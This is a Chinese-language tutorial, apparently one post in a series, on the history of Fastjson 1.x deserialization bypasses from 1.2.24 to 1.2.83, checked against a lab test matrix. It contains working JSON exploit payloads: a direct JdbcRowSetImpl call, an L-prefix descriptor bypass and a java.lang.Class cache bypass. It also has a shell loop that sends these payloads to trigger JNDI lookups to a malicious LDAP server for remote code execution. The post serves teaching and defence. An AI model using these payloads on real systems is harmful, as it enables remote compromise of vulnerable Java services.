这一篇是本系列的核心从默认能打到越来越难打每一个补丁改了什么、攻击者怎么绕、为什么最终必须放弃 1.x 的 autoType 模型。所有结论都对应配套靶场的实测矩阵lab/fastjson-lab/verify-output.txt引子一场持续七年、教科书级的打补丁—绕过战争Fastjson 的反序列化问题从 2017 年延续到 2022 年版本号从 1.2.24 一路补到 1.2.83。它不是一个 CVE 一个补丁而是一长串 CVE 和无数次绕过每修一个安全研究者就找到一个新写法官方黑名单越长绕过的套路越多。这段历史是理解为什么安全不能依赖黑名单的最好教材。几个关键节点足以看出这场拉锯的节奏1.2.24autoType 默认开启type直接打无需技巧1.2.25引入checkAutoType和黑名单autoType 默认关闭——第一次防守1.2.41 / 1.2.42L...;类描述符绕过与修复1.2.47出现只靠 fastjson 自身、不依赖外部库的通用缓存绕过影响极广1.2.68官方加入safeMode并引入ExpectClass1.2.80官方公告承认特定依赖存在下仍可绕过对应 CVE-2022-258451.2.83修复该绕过同时官方给出升 1.2.83 / 开 safeMode / 迁 fastjson2三条路。本篇不满足于贴版本号而是用配套靶场的实测矩阵把哪个版本、哪种写法能打一条条验证出来再讲清每次补丁改了什么、绕过为什么成立。看懂之后就会明白已升到 1.2.80并不等于安全因为绕过取决于依赖树里有什么 gadget。本篇要点L...;绕过为什么能生效它在利用哪个环节的不一致1.2.47 的缓存绕过 payload 里java.lang.Class到底干了什么为什么 1.2.62 之后通用 payload集体失效但系统仍可能不安全官方说的特定依赖存在下是什么意思对防守判断有何影响safeMode 为什么没有绕过一、先把靶场矩阵摆出来实测在靶场对每个版本发送同一批 payloadJNDI 目标指向靶场内置恶意 LDAP/HTTP 服务判定是否产生 JNDI 回调并执行。matrix.py只是把逐版本重启 发送 统计回调自动化不依赖脚本时按下面的循环手动做即可。cd /opt/fastjson-lab for v in 1.2.24 1.2.25 1.2.41 1.2.42 1.2.43 1.2.47 1.2.62 1.2.68 1.2.80 1.2.83; do pkill -f com.lab.fastjson.FastjsonLab; sleep 1 /opt/jdk8/bin/java -Dcom.sun.jndi.ldap.object.trustURLCodebasetrue \ -cp target/fastjson-lab.jar:lib/fastjson-$v.jar \ com.lab.fastjson.FastjsonLab --port 8080 fastjson-lab.log 21 # 换 classpath 里的版本 sleep 2 : /opt/jndi-server/callbacks.log # 清空回调 curl -s -G http://127.0.0.1:8080/parse --data-urlencode \ data{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:ldap://192.168.143.156:1389/cnExploit,dclab,dclocal,autoCommit:true} /dev/null echo $v 回调$(wc -l /opt/jndi-server/callbacks.log) # 回调0 即触发 done实测结果如下行payload列fastjson 版本RCE表示产生 JNDI 回调并执行payload1.2.241.2.251.2.411.2.421.2.431.2.471.2.621.2.681.2.801.2.83direct直接写危险类名RCEblockedblockedblockedblockedblockedblockedblockedblockedblockedL-prefixL...;描述符RCERCERCEblockedblockedblockedblockedblockedblockedblockedcache-Classjava.lang.Class缓存RCERCERCERCERCERCEblockedblockedblockedblockedexpectClassRCEblockedRCERCERCERCEblockedblockedblockedblockedthrowableRCEblockedRCERCERCERCEblockedblockedblockedblockedautotype-direct开 autoTypeRCEblockedRCERCERCERCEblockedblockedblockedblockedautotype-cache开 autoType缓存RCEblockedRCERCERCERCEblockedblockedblockedblocked读表要点1.2.24 全绿autoType 默认开启无需技巧1.2.25 首回合防守direct被挡但L-prefix、cache-Class仍可绕1.2.42 修掉L-prefix但cache-Class仍通1.2.47 的cache-Class是只靠 fastjson 自身、不依赖外部库的通用绕过1.2.62 起通用 payload 全部失效表中 payload 是通用的、只需要 fastjson 本身的写法。后面会说明1.2.62 之后不是绝对安全而是绕过开始依赖项目里碰巧存在的第三方 gadget / 特定解析上下文通用性大幅下降。二、1.2.24 → 1.2.25守门函数登场1.2.24 及更早autoType 默认开启{type:com.sun.rowset.JdbcRowSetImpl,...}直接打无需任何技巧。1.2.25 的修复引入checkAutoType内置一份黑名单且 autoType 默认关闭。于是直接写危险类名会得到ERROR: ... autoType is not support. com.sun.rowset.JdbcRowSetImpl攻击者的应对黑名单只比对规范化后的类名而规范化逻辑不够严。用类描述符写法L...;即可让黑名单比对失败、而实际加载时又被还原{type:Lcom.sun.rowset.JdbcRowSetImpl;,dataSourceName:ldap://...,autoCommit:true}靶场实测 1.2.25、1.2.41 上确实能打L-prefix RCE。这就是军备竞赛的典型回合补丁修补的是类名比对绕过换的是类名长相。三、1.2.42修掉L...;但缓存漏洞已现1.2.42 在checkAutoType里把L/;的规范化补齐无论哪种路径都先剥壳L-prefix随之失效矩阵里 1.2.42 的L-prefix变为blocked。但 1.2.42~1.2.47 上另一种写法仍然能打。这就是缓存绕过原理在上一篇讲过——检查顺序里查缓存在查黑名单之前。缓存绕过 payload{ a: {type:java.lang.Class,val:com.sun.rowset.JdbcRowSetImpl}, b: {type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:ldap://...,autoCommit:true} }逐段解释解析a时type是java.lang.Class——这个类本身是允许的不是危险类。Fastjson 用MiscCodec处理它取val作为要加载的类名并把这个类放入TypeUtils的缓存映射于是com.sun.rowset.JdbcRowSetImpl被登记进缓存解析b时checkAutoType第一步查缓存就命中了在黑名单检查之前直接放行后续照旧触发 JNDI → RCE。Java 说明MiscCodecFastjson 处理特殊类型的内置编解码器。遇到type为java.lang.Class时它会读取val字段把其中的类名加载成Class。TypeUtilsFastjson 的类型工具类内部维护一张类名 → Class的映射缓存mappings。该绕过利用的正是检查逻辑先查缓存、再查黑名单的顺序缺陷只要先用java.lang.Class把危险类塞进缓存后续检查就会放行。因果总结这个绕过不依赖任何外部 gadget只需要 fastjson 一个Class类型属性 两个字段。所以在 1.2.47 上它被公认为最通用的 autoType 绕过。靶场里 1.2.47、1.2.42、1.2.41、1.2.25 的cache-Class均为RCE验证了这一点。为什么 1.2.62 之后不行了1.2.62 / 1.2.68 对缓存路径也加了判断不再是在缓存里就无条件放行危险类即便进了缓存仍会被拦。矩阵里 1.2.62 起cache-Class变为blocked。四、1.2.68safeMode 与 ExpectClass1.2.68 有两个重要变化引入 safeMode一旦开启无论黑白名单都不支持 autoType等于彻底关掉这条攻击面。这是防守方目前最稳的亡羊补牢。引入ExpectClass期望类型机制当解析上下文已经知道期望的类型时如果type指定的类是其子类/实现可能被放行。ExpectClass本身是为了兼容泛型/接口多态但它带来了新的绕过思路让解析上下文期望一个宽泛的接口比如java.lang.AutoCloseable再让type指向实现了该接口的危险类。注意这类绕过不是万能 payload它要求业务代码恰好以带期望类型的方式解析例如parseObject(json, SomeWrapper.class)而SomeWrapper的字段类型是某个接口。在本靶场的/parse无期望类型下无法复现ExpectClass绕过——矩阵里expectClass在 1.2.68 为blocked。这恰恰说明一个重要事实1.2.68 之后的绕过是条件化的和业务代码的解析方式强相关不再是一条 payload 通吃。五、1.2.80 与 CVE-2022-25845依赖型绕过2022 年 5 月Fastjson 官方发布安全公告wiki:security_update_20220523原文要点近日 Fastjson Develop Team 发现 fastjson 1.2.80 及以下存在新的风险……特定依赖存在下影响 ≤1.2.80建议升级 1.2.83或开启 safeMode或使用 fastjson v2。关键词是特定依赖存在下。也就是说这个绕过需要一个项目里恰好存在的第三方 gadget 类属于某个依赖库且能触发危险行为来配合它不是只要用 fastjson 1.2.80 就能打没有对应依赖就打不动因此在本靶场的最小依赖fastjson 少量 gadget 库下矩阵里 1.2.80 的通用 payload 全部blocked。额外试过依赖型 gadget如 xbean 的JndiConverter在 1.2.68 默认配置下同样被拦。这个事实对防守方的启示是已升到 1.2.80并不等于安全因为依赖树里有什么 gadget攻击者比使用者更清楚。1.2.83 才修复了该次绕过且官方明确建议迁移 fastjson2。六、1.2.83 与通用 payload 的终结1.2.83 的效果矩阵里所有通用 payload 全部blocked。同时官方给出三条路升级到 1.2.83有 autoType 行为变更可能不兼容开启 safeMode1.2.68完全关闭 autoType最稳但可能影响业务迁移 fastjson v2重写版本不再为兼容保留白名单安全模型不同。到这一步1.x 的 autoType 模型已经补丁叠补丁官方也承认这套设计本身是负担。现代项目的正确答案不是打补丁到最新 1.x而是上 fastjson2 或换 Jackson 并关闭多态反序列化。七、为什么绕过注定条件化把整场军备竞赛抽象一下黑名单比对类名 - 绕换个类名长相L...; 黑名单 规范化 - 绕走缓存让检查在命中黑名单前就放行 修缓存路径 - 绕换依赖库里的等价 gadget项目恰好有这个依赖 加 ExpectClass 限制 - 绕利用业务带期望类型的解析上下文 safeMode - 没有绕过因为直接不看黑白名单了规律只要类名可由输入决定这个根还在攻防就永远在追补丁safeMode/fastjson2 是拔掉根所以没有绕过。这就是下一篇要讲的现代方向。八、自测L...;绕过能生效是因为黑名单和实际加载用了不同的类名规范化——请解释这句话。缓存绕过为什么能跳过黑名单它的 payload 里java.lang.Class起了什么作用为什么 1.2.68 之后的绕过和业务解析方式强相关举一个ExpectClass绕过的前提。官方公告说特定依赖存在下影响 ≤1.2.80这句话对防守方的判断意味着什么safeMode 为什么没有绕过它和黑名单在原理上有什么根本区别
阅读完成 · 觉得有帮助?